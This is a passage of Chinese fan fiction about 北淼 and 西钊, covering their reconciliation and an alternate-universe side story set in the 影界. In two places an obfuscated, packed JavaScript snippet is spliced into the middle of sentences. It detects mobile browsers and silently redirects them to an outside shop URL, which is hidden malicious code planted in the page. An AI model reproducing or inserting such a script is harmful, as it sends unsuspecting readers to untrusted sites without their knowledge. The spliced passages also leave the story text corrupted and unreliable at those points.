坤中并未在意,手上的动作和嘴上的话语完全没有冲突地同步进行:“吵架嘛,就是得把心里想的都说出来:不喜欢的地方、不认同的观点。因为没有人会读心,所以不这么做,没有人知道对方会怎么想,然后大家就会先入为主、胡思乱想——烫烫烫!” 坤中的后半句话被塞进嘴里的里脊肉烫没了,但西钊大致明白他想表达的意思:“你是说……比起像现在这样僵持不下,我更应该主动联系他、告诉他我的想法吗?” 坤中嘴里嚼着肉,点点头。 “但是……”西钊再次把盘子里的肉切成第八份,低头看着它出神,依旧一口未动,“如果彼此都有很多不喜欢对方的地方、还有很多不一样甚至无法共存的观念,继续在一起的话,不会发生很多矛盾吗?你也知道,北淼他……说了很多关于我的事。我不觉得他能继续接受我。” “没有完美的灵魂伴侣啦西钊兄。”这次,坤中确认他的烤鸡翅吹凉了才咬了一大口,嚼吧了一会儿才继续说道,“你们都生活在一起了,就是一家人,家人之间肯定会有摩擦的。你看,我和我妈就经常吵架,大学那会儿没少给你打电话抱怨吧。到头来,再怎么吵得凶,逢年过节还是要回家在一张桌子上吃饭。每次跟她吵,我就知道一点她的想法,之后就慢慢的没怎么闹过矛盾了。不管是和什么样的人相处,都要有磨合期嘛。” “‘家人’……”没什么食欲的西钊干脆放下餐具,一边看对面的大老虎毫无自觉地大快朵颐,一边认真听取来自挚友的教诲。 “家人”,那是他从没考虑过的角度。他和北淼的关系总是时而平淡时而热烈,总是充满着恋人间的浪漫气息,连他自己笔下的他们也是如此。恋人和家人,他不知道这其中有什么不同。 “嗯嗯。”坤中含糊地点点头,“你想嘛,家就是避风港,是无论发生什么事都会觉得安全地方,然后,家人就是无论什么时候都可以依靠的对象。” “我不明白。难道成为家人、就意味着接纳对方的全部,哪怕这个人罪大恶极、全是缺点……”西钊没有说下去。 似乎是吃得半饱打算歇歇,坤中长呼一口气往后靠在沙发椅子上,朝对面的西钊摇摇头:“不是不是,西钊,你理解错了。怎么说才好呢,我也没谈过恋爱……”坤中不太好意思地抓抓后脑勺,尴尬地笑了笑,“不过听我妈说,跟我爸结婚之后,她就感觉多了一份责任。” “责任?” “是啊,日子过久了肯定会暴露不好的地方,还会发生各种鸡毛蒜皮的小矛盾,虽然他们每次都会因为小事吵吵嚷嚷的,但和解之后感情就会变得更好。我妈说,如果生活从刺激的恋爱变成柴米油盐酱醋茶,就要通过这种方式维系关系才行。家人就像朋友和兄弟,要有福同享、有难同当。” 坤中说完,拿起桌上的自助冰可乐解腻,西钊则继续低头看着餐盘放空。 他想起很多和北淼的往事,想起那天他在集装箱里接受北淼的“第二次求婚”。他到底是怎么看待与北淼的这段关系的呢?“只要他幸福就好”“不愿让他分担”,这是否是身为“局外人”将北淼推开的自私呢?他既没有与北淼分享幸福的自觉,也没有让北淼分担痛苦的勇气,老实说,他其实并没有做到“有福同享,有难同当”。他真的……把北淼当做是“家人”吗?这么一看,北淼会朝他发火,也是情有可原——不,应该说是必然才对。 有些话,对朋友,或许没有必要说;对恋人,或许也没有让他为你承担所有情绪的义务;但对于家人,同甘共苦既是爱,也是一种责任。因为有这份责任,他才真正与热恋期的情人有所区分。 “但,话是这么说。”直到最后,西钊还是没有放下最后一根稻草,“我还是不认为像北淼那样的人会包庇杀人这样的罪行,哪怕是……家人。” “啊?当然不会。”坤中话语里的理所当然让西钊愣了一下,“北淼正义感那么强,就算是家人也不例外。但是西钊兄,你不能这么想。相反,正因为彼此是家人,所以这样的事才更不能被原谅。” 西钊眉头微皱,露出疑惑的苦笑:“我……不太明白你的意思。” 坤中再次搔搔后脑勺,无奈地耸起肩膀:“哎呀,我也不知道怎么形容,反正、反正以后都会懂的啦。我妈也是这么跟我说的:谈了就懂了。嘿嘿。” 西钊不知道第几次对坤中的天真模样轻声叹气。吐息之间,他闻到了些许烤肉的浓香——心情稍微调整之后,他终于开始真正地感觉到了饥饿。他拿起餐具,将已经变得冷硬的牛肉放进嘴里。回忆伴随感官刺激再次席卷而来。他想起北淼第一次给他做香辣牛肉时,冰儿在北淼旁边悄无声息地捣乱,结果香辣牛肉变成了香辣牛肉酱。 想到这里,西钊的嘴角勾起一抹不易察觉的微笑。 “西钊,如果是你的话,面对犯罪的北淼,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334717|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会怎么办?” 坤中的问题打断了西钊的思绪。西钊移开视线稍作思考,答道:“这么说虽然不太好,但我也许会是那个包庇他的人,有可能替他顶罪也说不准。总之,我还没有坚强到可以把他拱手相让给这个世界的正义的程度……很窝囊,是不是?” 西钊没有注意到坤中缓缓上挪的目光,也没有注意到身侧慢慢变大的一块阴影,仍在继续自顾自地说着:“其实,并不是我讨厌他嫉恶如仇,而是我害怕成为他讨厌的‘恶’。跟他吵过一场之后,我才意识到,其实我也不是无处可去,港湾的集装箱一直都在。只是……比起那里,我有更想去的地方——” “那就回来啊。” 注意到坤中震惊失语表情的同时,熟悉的声音突兀地在西钊身后响起。他身子一僵,没有第一时间回头。这句话并没有西钊所想的那样充满责备与愤怒,而是异常地平静淡然。他听得出,声音的主人很疲惫,完全没有那个人应该有的精神气。 西钊不知道他是怎么找到这里的。追踪器?偶然?情报网?在思考这些时,西钊依旧没有回头。是不愿,还是不敢?连他自己也说不清楚,但那个声音还在继续。 “之前……说了很过分的话,我道歉。只是有些事,我觉得、我有知情权。比如,你讨厌什么、害怕什么。你……是不是因为不想吵架,从来不想和我好好谈。” 西钊第一次发现,一个人的声音也有重量。那个人的声音很轻,像飘过他肩头的鸿毛般,有一种只有他才听得出来的卑微感,毫无从前的强势和决断可言。然而,即使声音如此轻盈,也能压得西钊胸口发紧,令他说不出话、无动弹不得。 他听到那人说:“算了,事到如今,我干嘛还要说这些……西钊,你可以去做任何地方,做你想做的事。我只希望你不要摘下你——我们的戒指。它会让你知道,你有一个家。只要你愿意……那里永远欢迎你。” 那个声音沉默几秒,像是认定自己等不到西钊的回应,用力抓着椅背的手缓缓松开,在上面留下柔软的、逐渐回弹的凹痕。他后撤一步,不舍地望着西钊的背影,最终还是转头往餐厅的门口走去。 等西钊再抬起头时,正看到坤中双手拿着烤肉夹用力晃动,仿佛那是地虎铠甲的裂地爪,两只手臂几乎要被他晃出虚影。他嘴里嚼着烤肉,支支吾吾说不清话,但简单明了的动作直白地示意西钊赶紧追过去。西钊如梦初醒,从座位上窜起来直奔身后远去的白色人影。 “北淼!等等!” 西钊在餐厅门口用他自认为最大的握力抓住了那个人的手臂。也就在这时,他终于好好看清了那人的面容。 相比他离开的那天,北淼显得格外憔悴,像是几天几夜没有得到充足睡眠的样子,虽然有正常打理自己,但看上去完全没有之前身为富家公子哥的精致,也看不出敏慈所说的“绅士气质”。说得难听些,北淼看上去像个流浪的失意男子……不,按这个情况来说,应该是失恋比较合适。 但当西钊抓住他的那一刻,西钊发现北淼原本失神放空的双眼忽然有了焦点。他这才真正体会到,一个人的眼睛是真的可以“亮起来”的。见到这样的北淼,又想起坤中刚刚的建议,西钊忽然觉得理亏,心虚感让他立即松了手、移开视线,显得局促不安。 结果他的手才离开北淼一秒钟,就被一股更强的力道拽了回去,整个人像被挤进不软不硬的床垫一样狠狠地被按在一个温暖的怀抱里。 “……你太狡猾了。”北淼靠在西钊的额角,低声说道,话里透出的急切与温柔与强势霸道的拥抱形成微妙的反差,“再这样不由分说就离家出走,我真的要把你拴在家里了……” 西钊没有回抱,也没有反抗,只是轻声笑了笑,语气里夹杂着难以察觉的苦涩与无奈:“你刚刚好像不是这么说的。” “你就是有这种随时可以让人改变想法、变成罪犯的超能力,不行吗?”北淼的态度开始变得和平常一样强硬,即使知道自己变脸如翻书、甚至于强词夺理,也死性不改,逮着西钊“欺负”。 “我以为……你是故事里嫉恶如仇的‘勇者’,不会做出‘绑架良民’这样的坏事。”西钊虽然带着玩笑的口吻调侃北淼,但话里话外还是透露出些许他对北淼真实态度的试探。 北淼拨开留的快和“北淼”一样长的刘海,骄傲地低声哼笑:“我也多少有些理解另一个我了。” 西钊的“什么”还没说出口,就被北淼的拦腰横抱打断。他怎么也没想到北淼会在人来人往的街道,特别是餐厅门口把他、当街、抱起来!这太羞耻了,他们明明约定好不在公众场合—— “如果你要拯救世界,我会陪着你,然后跟你回家;”北淼毫不留情地再次打断西钊的思绪,像是在调侃西钊的体重似的,还把人在臂弯颠了两下,笑着说道,“如果你想毁灭世界,那我就阻止你,然后带你回家。” 说得好像我有得选一样! 西钊瞪了北淼一眼,小声嘀咕着“放我下来”,但北淼像是没听见一样抱着他往街边的黄色跑车方向走,也不在意别人的目光。面对西钊言语上的反抗,他只是轻声说:“只要你说你不喜欢这样,我就放你下来。” “我……” 就算你要我现在说,我也…… “只要你说不喜欢,我就不会做。要是我做了,你骂我就行。”北淼的气势忽然又弱下来,在跑车旁让西钊落了地,“或者给我一拳、再不济就打一架。”北淼拉开车门,没有看向身侧的西钊,他的笑容逐渐消失,只是象征性地扯了扯嘴角,“怎样都好。我想了解你的想法,不管用什么方式。你知道,我们已经……没有所谓的‘心灵感应’了。” “北淼,我……” “我会对你负责到底的,西钊。无论你做过什么,会做什么。” “那个,北淼……” “所以,一起回家吧。我也联系了小雪,她过几天就回来跟我们——” “北淼!” 西钊稍微提高音量的震声呼唤把探头整理车内的北淼吓了一跳,导致他急匆匆从车里抬头出来时重重磕到了后脑。他一边倒吸凉气揉揉痛处,一边不满地看向西钊:“嘶……你搞什么?” “要是明天早上任何一家报纸上有我们两个的照片,你就一个人在集装箱睡一个月吧,张北淼。”西钊丢下这句话就直接打开后座的车门钻了进去,独留北淼一个人在外面应对逐渐多起来的围观人群。 “……” 完了,明明还能因为西钊的沉默和离家出走在争论里占一点点上风,这回他又变成理亏的那个了。大概是他太得意忘形了吧…… 张北淼啊张北淼,你才是“江山易改,本性难移”。哄人都不会…… 北淼发出一声哀怨,烦躁地皱起眉头,尽量避开路人的视线钻进驾驶座。但他正准备开车时,却发现车钥匙被人拔了。回头一看,西钊正看着窗外,手指穿在钥匙圈上转圈。北淼伸手过去拿,西钊顺势挪开手故意不让他够到。 “给我。难道你会开车?” “北淼,你……几天没睡了?” 一阵沉默。 “钥匙,拿来。” 北淼半个人都越过了驾驶座,往后座探过身子抢钥匙。西钊也歪了上半身,靠在车门上紧紧握着钥匙不放。他眼睛一转,露出狡黠的笑容:“我想起还有件事没做。在这期间,你正好可以在车上睡一觉。” 大概是被西钊整出了某种奇妙的“创伤后应激障碍”,北淼对西钊每个“没做完的事”都感到阵阵不安:“还有什么事?你又要一个人——” “我和坤中的烤肉还没吃完。” “……你——” 北淼做了个深呼吸。他觉得自己应该是要生气的,但他气不起来,完全没办法对面前这个家伙发火,可恶,怎么回事,这种无力感是怎么回事……!! “不用担心,等我吃饱了会叫醒你的。” 我担心的是这个吗???!!! 绝对是报复,这绝对是西钊对他当街抱他的报复。他怎么能忘记,他怎么能忘了面前的家伙是那个用骰子作弊让他穿着黑犀铠甲上街买烤串的秦西钊!! 在北淼沉痛闭目时,困意也一并袭来,最后的最后,一切无声的抗拒都化为了—— 一个巨大的哈欠。 “睡吧,北淼,没事的。”在他的耳边,是他这十几天日思夜想的声音,“等你醒来,我会在你身边。 “到那时,记得带我回家。” 《破境(后日谈-1)》 FIN 90. 重生之孽缘终成眷属[番外] ※影界北西篇 ※北冰/西冰亲情向有 ———————— 当皮肉腐烂到白骨,钢被侵蚀成铁锈, 灰烬飘落于灰烬,尘土归于尘土, 让明天跨过我们曾经的承诺, 自顾自前进到未来。 ———————— 西钊恢复意识时,首先刺激他感官的是天穹顶端的烈日,强烈的阳光让他忍不住半眯起眼睛。他最后的记忆是同北淼——他独一无二的同类——走向远方,在靠近海边的礁石滩消失殆尽。 那么,这是死后的世界吗?还是……那个他永远也无法逃离的、非生非死的永恒夹缝呢? 西钊没有动弹。他需要确认自己此刻的五感。 视觉:正常,周遭似乎是一块很大的空地。 听觉:正常,身边有微弱的风声和摩擦声。 嗅觉:正常,鼻息间有尘土的泥味,很干燥。 触觉:正常,他换了套衣服,身下是水泥地。 味觉:正常分泌唾液,其他暂时还无法确认。 嗯……虽然一切如常,但总觉得有些违和。不、不如说,因为“没有地方不对劲”,因此才觉得不对劲。 西钊本想抬起手将手臂搭上双眼遮蔽阳光,但他的右手刚抬起,一大块人形的阴影伴随着手臂被鞋底挤压的轻微痛感替他完成了这件事:北淼来到他面前,皮靴踩住他的小臂、顺势在他身侧单膝跪下,一手搭上大腿、一手松垮垮地自然垂着。 在西钊眼里,那家伙从来没有变过。连西钊都换了身轻便的衣服,他却还是那件怎么穿都穿不烂的皮夹克;还有那副每每面对西钊时充满挑衅、调情和不屑的表情。西钊看得多了,反而觉得亲切,甚至不会感到丝毫冒犯与威胁——就像现在这样。 西钊回以“礼貌”的温和微笑,眼中却闪烁着凌厉的光,左手握住北淼脚踝的力道仿佛咬住猎物的獒犬,与他那人畜无害的目光形成鲜明对比。他没有开口问好,因为他知道,在这种“居高临下”的时刻,自诩上位者的家伙总是喜欢优先拿到发言权。 “我刚刚还在想、这里是不是死后的世界;现在一看见你、我就确信,这里……确实是地狱:只有我们两个的地狱。”皮靴下压的力道更重,北淼的语气也更加意味深长,“很遗憾,在这个出不去的鬼地方,你这辈子——哦、不对,你永远都要跟我绑在一起了。你说、我们能不能在这儿造张床?老是在水泥柱和水泥地上做,怪寒掺的。” “你该庆幸,藏獒一生只认一个主。不然,你只会被咬得更凶。” 西钊敷衍般地调侃,注意力逐渐被小臂的痛感转移。为什么呢?为什么会觉得违和呢?西钊的笑容收敛,只剩微笑唇勾起的微妙弧度。 之前在时空夹缝,他们的痛感经过虚化,几乎不会与现实等同,但是在这里,他能够清晰感觉到受伤的是一具有血有肉的身体。就好像……就好像—— 这时,一束残光越过北淼的肩膀流入西钊的眼睑,照亮他深棕色的瞳孔。他的眼瞳微微收缩,一股切实的暖意渗透他的皮肤、血肉、骨骼,直达他的灵魂深处。和他在时空夹缝中所见的不同,空气里虽也弥漫着仍未散尽的尘埃,但光穿过它们时,折射出的不是灰暗,而是群星般的耀眼斑斓。忽然,西钊意识到了两件事。他的笑容完全消失,视线凝聚在苍穹之上,并没有如他所想被那向往的光芒刺伤。 北淼注意到了西钊眼神的变化,脚踝松懈的握力让他眉毛一挑,没有选择追随西钊的目光,而是紧盯着他,开门见山地问:“喂。怎么了?” “……你发现我们的光影石不见了吧。”西钊的语气虽然平静,却能听出某种压抑的、涌动的暗流。 北淼哼笑着耸耸肩:“哼,当然。如果你还记得、我们做了什么蠢事,就应该知道,光影石能量耗尽。没出现在这里再正常不过。” “那……”西钊眯了眯眼,停顿一下才说道,“太阳呢?” “什么?” “北淼,太阳……开始动了。” 北淼有些不明所以。他从没好好观察过这里的各种环境,他只知道自己又在这座废弃工地醒了、身上的光影石没了、广场对面的水泥地上大字型躺着他的狗,仅此而已。他不太懂太阳的变化为什么会让西钊的态度一百八十度大转变。 老实说他并不在意这些有的没的,但望着西钊严肃的神情,北淼也不想自讨无趣。他叹了口气,挪开压着西钊手臂的皮靴,站起身伸了个懒腰:“管他呢。那玩意儿跟我们有什么关系。反正再怎么样——” “你们两个笨蛋、到底在干什么?” 打断北淼的、是一个他们谁都没有想到的、西钊觉得陌生、北淼觉得熟悉的女性声音。西钊撑起上半身与北淼一同坐在地上向声源望去,从水泥柱林的黑暗中缓步走出的身影让他们再次大吃一惊。 “小雪?” “小雪!” 两人虽然异口同声,语气却截然不同。 被他们称为“小雪”的年轻女性长发垂肩、身形消瘦修长,一身黑色的贴身裙、黑色丝袜与黑色高跟短靴,手里拿着一盒没吃完的巧克力饼干棒,其中半根捏在另一边手,另外半根叼在嘴边,搭配脸上那副清冷如雪、甚至有些嫌弃的表情,完美呈现出“冰山美人”的气场。 她将半根巧克力棒放进嘴里,走上前像是早就认识北淼和西钊似的,抬手就对着两人的后脑一人一个巴掌,不轻不重、可谓“醒神不伤脑”。 “你们脑子坏了?‘小雪’也是你们能叫的?” 话音刚落,北淼和西钊也来不及困惑和惊讶,便感觉到有某种强大的存在硬生生掰开他们的大脑,将无数残渣碎片不由分说一股脑倒了进去。直到他们从强烈的窒息感回过神、捂着脑袋重重喘息时,他们才意识到,刚刚肆无忌惮闯进来的东西,名为“记忆”。 ———————— 十年前,界王带着金影石率领异能兽突袭孤儿院。年幼的北淼带着小雪打算潜逃,但判断失误,将行动路线暴露在异能兽视野之中。 北淼怀里揣着水影石、手上还拽着小雪。他们似乎是可以逃掉的,但小雪体力不支摔倒在地。无论北淼怎么拉拽,孩童小小的掌心也无法在危急情况下承受一个同龄人的重量。面对哭喊求助的小雪、异能兽步步逼近的恐惧、守护水影石的责任,北淼选择了最后一个。也许、他是以此为挡箭牌,为自己逃避恐惧的行为做辩护;他知道,如果成功逃脱,没有人会因此责备自己——除了小雪。 而就在小雪独自面对异能兽的探查时,西钊出现了。他怀里抱着地上捡来的大石块,不停地朝异能兽扔过去。西钊成功吸引了异能兽的注意力,转身想继续引开异能兽远离小雪。但一个孩子的步伐怎会比得过异化的怪物?西钊甚至没能跑出十米远,就被异能兽拦住去路。即使西钊如何对它拳打脚踢,最终也只是被扔到了依旧啜泣不止的小雪身边。 这时,界王出现了。他的臂弯里抱着一个奋力挣扎却无济于事的小男孩。他的另一只手托着金影石、腰间还挂着一个沉甸甸的袋子。当界王靠近西钊与小雪时,手中托举的金影石忽然发出耀眼的白光。他兴奋不已,立马将男孩放下。男孩双脚还没站稳,就立马跑到小雪面前紧紧抱住她、拍着她的背安抚。 那个男孩就是北淼。他在孤儿院的门口被界王堵了个正着,水影石也被界王夺走。他本该死在界王手下,却因为界王发现装水影石的口袋里正在发光,于是强行将他绑架。时至今日,北淼都不确定没有死在那里是不是一种幸运。 就这样,他们三人被界王带回了影界。 因为小雪一直哭个不停,北淼反抗得最激烈,一心只想怎么带着小雪逃出去,而西钊比起影界、怪兽、界王,更在意怎么哄好小雪。 由于对北淼的抛弃耿耿于怀,最初,小雪更愿意和西钊接触。这引来了北淼的不满。界王利用这一点,对他们之间的关系挑拨离间。 他让北淼相信:强者为王、成王败寇,这是强者才有发言权和掌控权的世界,只要变强,北淼就能做想做的任何事、保护想要保护的人,不会恐惧、不会再犯同样的错误。 他灌输给西钊相似但不同的观念:北淼和小雪都是西钊的伙伴,不是正义也不是邪恶,他必须不受其他人、其他立场的影响,通过无数磨炼、拥有消除所有威胁的力量。 而对于小雪,他则说:信任是一种脆弱,真正可信的只有自己,只有让自己变得更加强大,才能够有相信他人、依靠他人的资本,在被背叛、抛弃、孤立无援时才有绝地逢生的可能。 从那时开始,小雪便抛弃了自己的名字。她将自己的心冻结为寒冰,改名冰儿。 他们三人就这样在影界一起生活、训练,一同相伴了十年。在这期间,界王最初给他们的引导微妙地改变了他们的普世价值观。本质上,他们三人在意的只有彼此。始终忠于界王麾下,也只是因为十年的养育之恩。所以其实,他们心中并没有多少正邪的概念。 有趣的是,北淼和西钊早在面对铠甲勇士之前就确认了彼此的关系。或者说,他们在一个根本不知道什么是亲密关系的年纪选择把身体的欲望发泄在唯一的同龄人身上,由此建立了身体上的链接。往后的日子里,这种萌芽时期就畸形的情感在生长过程中逐渐扭曲,成为了某种无法准确用爱情、亲情和友情去定义的复杂关系。他们如同缠绕的藤蔓肆意疯长,而土壤之下,所有根系都紧密相连,除了死亡,任何力量都无法将他们分离。 冰儿在这件事里自然是最大的知情方,不如说,她是这两个家伙从“互看不顺眼打个你死我活”到“争强好胜打得不可开交”再到“痛快打一架马上打一炮”最后到“打着打着画面就从血腥暴力变成不可描述”的见证人。她倒不是很在意自己的两个哥哥莫名其妙搞在了一张床上,只是偶尔会觉得界王有些可怜。不是因为那两个蠢货几乎在影界基地的每个地方都做过,而是…… 界王,你儿子是gay,你两个儿子都是gay。 冰儿不记得北淼什么时候开始把西钊当“狗”来看待,她只记得他们三个刚在影界相处不久,还是小孩子的北淼就找西钊打了一架。北淼赢了。那时西钊躺在地上,北淼踩着他的手臂,一副胜者为王的骄傲模样,单膝跪下凑近鼻青脸肿的西钊,说:“我赢了,从现在开始,你就是我的人。你得听我的,按我说的做。你的东西就是我的东西。” 那时,西钊的眼里全都是不服输的不甘和愤怒,之后只要他们两个有分歧,就会进训练室打架。西钊偶尔会赢,不过大部分时候都是北淼更胜一筹。随着时间推移,他们虽然照常像两只从未失去野性的猛兽时不时把对方揍一顿,但分歧却越来越少。到了现在,西钊对于北淼把他叫“狗”的这种“羞辱”已经毫无意见,甚至乐在其中。 虽然冰儿大概能猜到这是西钊溺爱北淼的方式,但每每看到他们俩关于这个话题的互动,她还是想给西钊一个理解不能的白眼。这个家伙就是这副德性,总是以普通人不太能理解的方式宠着他们兄妹俩。 影界的训练非常严苛,不过冰儿几乎没有受过多少伤,除了界王的偏爱之外,也多亏了北淼和西钊替冰儿受罚。冰儿会厚脸皮地接受北淼的袒护,她总是利用北淼过去的愧疚从他身上捞好处;但西钊对她有恩,平日护她也和北淼一样积极,所以冰儿很少为难他。 于是,每次他们三人领罚,都会出现一些有意思的场合: 如果是体罚,西钊和北淼就会光着上半身在石阶上和冰儿排排坐。冰儿给西钊上药、西钊给北淼包扎。一旦北淼想隔着西钊跟冰儿嘘寒问暖,就会被冰儿冷言冷语打发到一边。冰儿时不时还会因为情绪上头而不自觉对西钊的伤口下重手,惹得西钊哭笑不得地倒吸凉气。 如果是禁食,北淼和西钊就会不约而同地在私下里打架,谁赢了就把自己那份饭菜让给冰儿。北淼在做这件事的时候异常积极,胜率反而比平时高;但每次他赢了之后,西钊又总是一身绷带淤青地凑过来把碗里的饭菜给他分一半。结果到最后,不管谁输谁赢,每个人吃的都一样:冰儿有一整份,北淼和西钊每人半份。 冰儿体弱,又常年接受特训,因此不管吃多少、不管力气有多大,身形总是偏瘦。北淼倒是因为各方面都保持规律,所以在他们三人当中看上去最壮实。而西钊是他们中最显消瘦的那个,被北淼形容为“电线杆身板”。北淼一直觉得这是因为西钊挑食,在他眼里,西钊不爱吃肉。每次禁食分饭,西钊碗里永远只有几片肉花,其他全是蔬菜。就这样的饮食,每次在训练室还能跟他打的有来有回,北淼都不敢想象酒足饭饱满血状态的藏獒咬人能有多疼。 所幸,这只雪獒是他家的狗。 直面铠甲勇士之后,他们得知界王除了想要拿回五副光影铠甲,还打算毁灭人类世界。 北淼的态度很随便,也很激进。他无所谓这个世界毁灭与否,只要界王能让他们三个一直在一起,夸张点说,让他把地球炸了移民火星都行。相反,只要有任何会伤害或者分离他们任何一个人的存在,他都会立即想方设法地消除,且大部分时候都是鲁莽行动。 比起北淼,小雪、不,冰儿,更像是他的小跟班。经过影界的训练,她从爱撒娇的女孩儿成长为心狠手辣的冷面少女。即使没有召唤铠甲的能力,体术、念力与飞针也足以在暗中对付那些对他们意图不轨的人。她的性子和北淼一样倔,时常因为和北淼一起行动闹出不小的麻烦。 而西钊……西钊负责给他们收拾烂摊子。他虽然喜欢人类世界,也喜欢在出任务的过程中和别人相处,但心中的优先级永远是北淼和冰儿。和另一个世界不同,在这里,他是充当头脑位的那个。北淼带着冰儿在外面野的时候,他会在影界一个人训练,或是泡在城市里的图书馆。很多针对光影队伍的策略,不是界王、反而是西钊出的主意。 不过对他来说,这只是随口一提。就像在界王说要毁灭所有人类时,他笑着调侃:“我们也是人,到那时,我们还能活吗?” “你们不算人类,你们从小在影界长大,是影界的优等子民。”当时,界王如此回答。虽有些责备西钊的意味,但更多的是培养出他们三个优秀战士的骄傲。 对此,西钊只是垂下眸子,勾唇浅笑,不再回话。 北淼的黑犀铠甲与西钊的雪獒铠甲,在五行中属于强力防御型和强力攻击型,加上从小在影界与彼此对战,实战经验非常丰富,因此,仅仅只是刚和光影战队接触,就把他们打得节节败退。 北淼和西钊都很享受战斗的快感、享受战斗本身。对他们而言,这并非助纣为虐,而是彼此实力的竞争。他们有时甚至不需要界王出动异 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17334718|199228||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 能兽,就能完美地完成任务。说实话,北淼还曾埋怨过,要不是影霸背叛了影界,或者界王早点让他出手,土影石早就到他们手里了。 而现在,局势对光影铠甲一方非常不妙。S学院一战中,风鹰铠甲和地虎铠甲都受到了不小的损伤,如果不是炘南及时来救场、且界王那边也有新指示,后果不堪设想。 东杉和坤中养伤期间,抱着“本是同根生,相煎何太急”的心态,身为领队的炘南决定和铠甲的召唤人谈谈,试图说服他们改邪归正,齐心协力击退邪恶势力。这个对策风险很大,但面对随时可能乘胜追击的影界,他们别无他法。令他们意外的是,黑犀铠甲的召唤人——北淼——接受了炘南的邀约。他的条件是炘南独自前往,自己会带上两个同伴作为见证人,并保证不会对炘南出手。 而这次谈判的地点,便是…… ———————— “呃……” 压缩的记忆在北淼和西钊的脑海中爆炸,无数陌生却熟悉的画面伴随着对应的情感一同席卷他们的神经,如同巨大的漩涡将他们吞噬进幽暗的海底。但最终他们感受到的不是痛苦,而是灵魂碎片被缝合、心中空洞被填补的幸福与满足。 幸福。这是个对曾经的他们而言异常遥远的词,如今却在内心深处,沿着被灌输的记忆向四肢百骸蔓延。那是比沐浴阳光还要温暖的热度,是能融化冰雪、熔炼刚金的热量。 他们终于意识到:这里不是时空夹缝。 这里是“属于”他们的,世界的另一种可能。 北淼的小雪虽然变成了冰儿、在影界接受辛苦的训练,但他们依然生活在一起,并未分离;西钊虽然还是没能走出影界,但与北淼冰儿的相处让他收获了更为紧密的亲情与友情,以及……和北淼莫名其妙但理所当然的“那种”关系。有得有失,何尝不是一种命运弄人。 同时,他们也知道自己为什么会被打了。 “不说别的,小、咳,冰儿,你对我还是这么不留情面……”北淼摸着后脑勺刚刚被冰儿打了一巴掌的地方,毫不掩饰话语中的委屈。 西钊没有马上起来,双手向后撑在地面,身子后仰、低下头轻声笑了笑:“瞧,这就是把我们家大小姐惹生气下场。哥哥们知错了。是吧,北淼?” “是是……”还不习惯突如其来的全新身份、记忆和生活的北淼尽可能掩饰自己的无措,手摸后颈心不在焉地移开视线,闷声答应。 冰儿哼了哼,一副“这还差不多”的高傲模样,环抱双臂进入正题:“所以,你们刚刚在干什么,打算在那个炎龙侠来之前先做一次吗?” 这种事被妹妹就这么口无遮拦地轻易说出来感觉好奇怪啊!一直以来在西钊面前浪荡不羁、傲气自负的北淼第一次展现出了“羞耻心”,耳尖微红,手也不知道该放哪儿,只好胡乱地抓抓头发,显得烦躁不安。 北淼本想说点什么转移话题,西钊反倒先开口了:“嗯,差不多。大概在做前期准备。你看,衣服还没脱呢。” 冰儿翻了个白眼:“得了吧,说得好像你们每次做都会老老实实脱衣服一样。” 本来还想怒怼一顿西钊的北淼听到冰儿的吐槽,又把冒起三丈的火憋了回去。 好消息:他的妹妹一直和他在一起,没有受多少苦,也被两个哥哥好好宠爱。 坏消息:那两个哥哥是gay,从情窦初开那会儿就是gay。 虽然北淼很想掐死过去那个给妹妹灌输不良信息的“自己”,但仔细回想,如果这就是他们所度过的真实的十年,那么小雪会变成这样也不是不可能,而且,概率还很高。也许他只是对心中妹妹的影子幻灭了吧。北淼自我安慰道。不,也不能这么说,不管小雪是什么样子,他都会一如既往爱她。 回想起“记忆”里与面前这两人的往事、看着西钊与冰儿“一如往日”地拌嘴,北淼的难为情与尴尬渐渐消退,取而代之的,是方才被无措掩盖的幸福感与满足感。 比起永恒的诅咒,他更愿意在有限的时间里,为这两个他生命中最重要的人燃烧。影界势力?铠甲勇士?世界毁灭?宇宙和平?他根本不在乎。他只想让小雪和西钊一直在他身边。是的,不是“让他们活下去”,而是连同自己在内,三个人一起到达生命的终点。 所以,所以啊…… 北淼看向空中已经走了一段弧线的太阳,忽然打断西钊与冰儿的闲聊,说道:“喂,西钊。” “嗯?” “我们……”北淼转头望向西钊,他的眼里充满斗志与激情,露出了那副西钊再熟悉不过的玩味笑容,“是时候,‘放虎归山’了。” “放虎归山?” 北淼哼笑一声,并未多做解释。他拿出黑犀铠甲的召唤晶片,像抛硬币一般抵在拇指,抛向空中,用手在半空将其稳稳接住。接着,他捏着晶片的一角,对准了远处空地台阶的某个方向。待他缓慢将晶片向下挪开,对焦转变、台阶上的人影逐渐清晰。 那个人遵守承诺,独自应邀而来。 面对光影铠甲的领袖,北淼只是笑着说了五个字。 “我们……联手吧。” ———————— 影界主力的倒戈让整个局势攻守易型,原本处于劣势的光影战队在黑犀铠甲和雪獒铠甲的帮助下极速翻盘。并且根据西钊的情报,他们预见到了五位黑暗护法的阴谋、向阳的危机以及黑魔兽的威胁,影界势力怎么也想不到他们是如何被打败的。 情理之中地,正义再次战胜了邪恶。 